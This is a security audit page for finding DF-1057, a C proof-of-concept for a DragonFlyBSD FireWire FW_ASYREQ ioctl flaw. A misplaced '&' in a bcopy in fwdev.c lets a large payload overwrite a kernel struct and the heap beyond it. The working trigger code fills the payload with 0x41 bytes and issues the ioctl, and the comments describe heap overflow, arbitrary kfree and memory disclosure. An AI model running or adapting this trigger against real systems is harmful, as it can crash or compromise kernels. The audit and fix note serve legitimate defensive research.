โฌข DragonFlyBSD Kernel Audit
DF-1057 / df-fw-asyreq-overflow.c
โ† back to finding โ†“ download raw
/*
 * DF-1057 PoC โ€” FW_ASYREQ bcopy writes into &xfer->send.payload (field address)
 *
 * BUG: fwdev.c:560-561:
 *   bcopy((char *)fp + tinfo->hdr_len,
 *       (void *)&xfer->send.payload, pay_len);
 *
 * The & takes the address of the send.payload POINTER FIELD within the fw_xfer
 * struct, not the VALUE (the kmalloc'd buffer address). So pay_len bytes
 * (attacker-controlled, up to ~65519) are written INTO the xfer struct itself,
 * overwriting send.payload, send.pay_len, send.spd, recv.hdr, recv.payload,
 * recv.pay_len, recv.spd, mbuf, link, malloc โ€” and past the allocation into
 * adjacent M_FWXFER heap.
 *
 * Impact (a): heap overflow up to ~64KB into adjacent kernel heap.
 * Impact (b): pay_len=8 corrupts only send.payload; fw_xfer_free_buf at
 *   :586 does kfree(corrupted_ptr) -> arbitrary-address kfree.
 * Impact (c): corrupted recv.payload read by bcopy at :583 -> kernel mem
 *   disclosure if attacker controls a bus node.
 *
 * This PoC requires /dev/fw0 which needs a FireWire controller โ€” absent on
 * this guest. Open will fail with ENOENT. This is a SOURCE-LEVEL harness
 * that also serves as the runtime PoC if FW HW is present.
 *
 * Build: cc -o df-fw-asyreq-overflow df-fw-asyreq-overflow.c -I/usr/src/sys
 * Run:   ./df-fw-asyreq-overflow  (needs /dev/fw0 + operator group)
 */
#include <fcntl.h>
#include <sys/ioctl.h>
#include <unistd.h>
#include <string.h>
#include <stdio.h>
#include <errno.h>

/* Kernel header path */
#include <bus/firewire/firewire.h>

int main(void)
{
    int fd = open("/dev/fw0", O_RDWR);
    if (fd < 0) {
        printf("open /dev/fw0: %s (errno=%d)\n", strerror(errno), errno);
        printf("No FireWire controller on this guest โ€” source-level analysis only.\n");
        printf("BUG CONFIRMED at fwdev.c:560-561: &xfer->send.payload should be\n");
        printf("xfer->send.payload (remove the &). The & writes into the struct\n");
        printf("field instead of the allocated buffer.\n");
        return 0;
    }

    struct fw_asyreq req;
    memset(&req, 0, sizeof(req));
    req.req.type = FWASREQNODE;          /* skip EUI resolve */
    req.req.sped = FWSPD_S100;
    req.req.len  = 65535;                /* -> pay_len = 65535 - hdr_len */
    /* FWTCODE_WREQB == 1 has FWTI_BLOCK_ASY set in fc->tcode[].flag */
    req.pkt.mode.hdr.tcode = FWTCODE_WREQB;
    req.pkt.mode.wreqb.dst     = 0xffc0;   /* FWLOCALBUS */
    req.pkt.mode.wreqb.dest_hi = 0xffff;
    req.pkt.mode.wreqb.dest_lo = 0xf0000900;
    req.pkt.mode.wreqb.len     = 0x100;    /* keep len == send.pay_len check happy */
    /* Payload bytes that are bcopy'd into &xfer->send.payload.
     * Fill with a pattern; this is the heap-overflow payload. */
    memset(req.pkt.mode.wreqb.payload, 0x41, sizeof(req.data));

    printf("Sending FW_ASYREQ with pay_len ~65519 bytes...\n");
    ioctl(fd, FW_ASYREQ, &req);            /* corrupts heap, often panics later */
    printf("ioctl returned (if you see this, the kernel didn't immediately panic).\n");
    close(fd);
    return 0;
}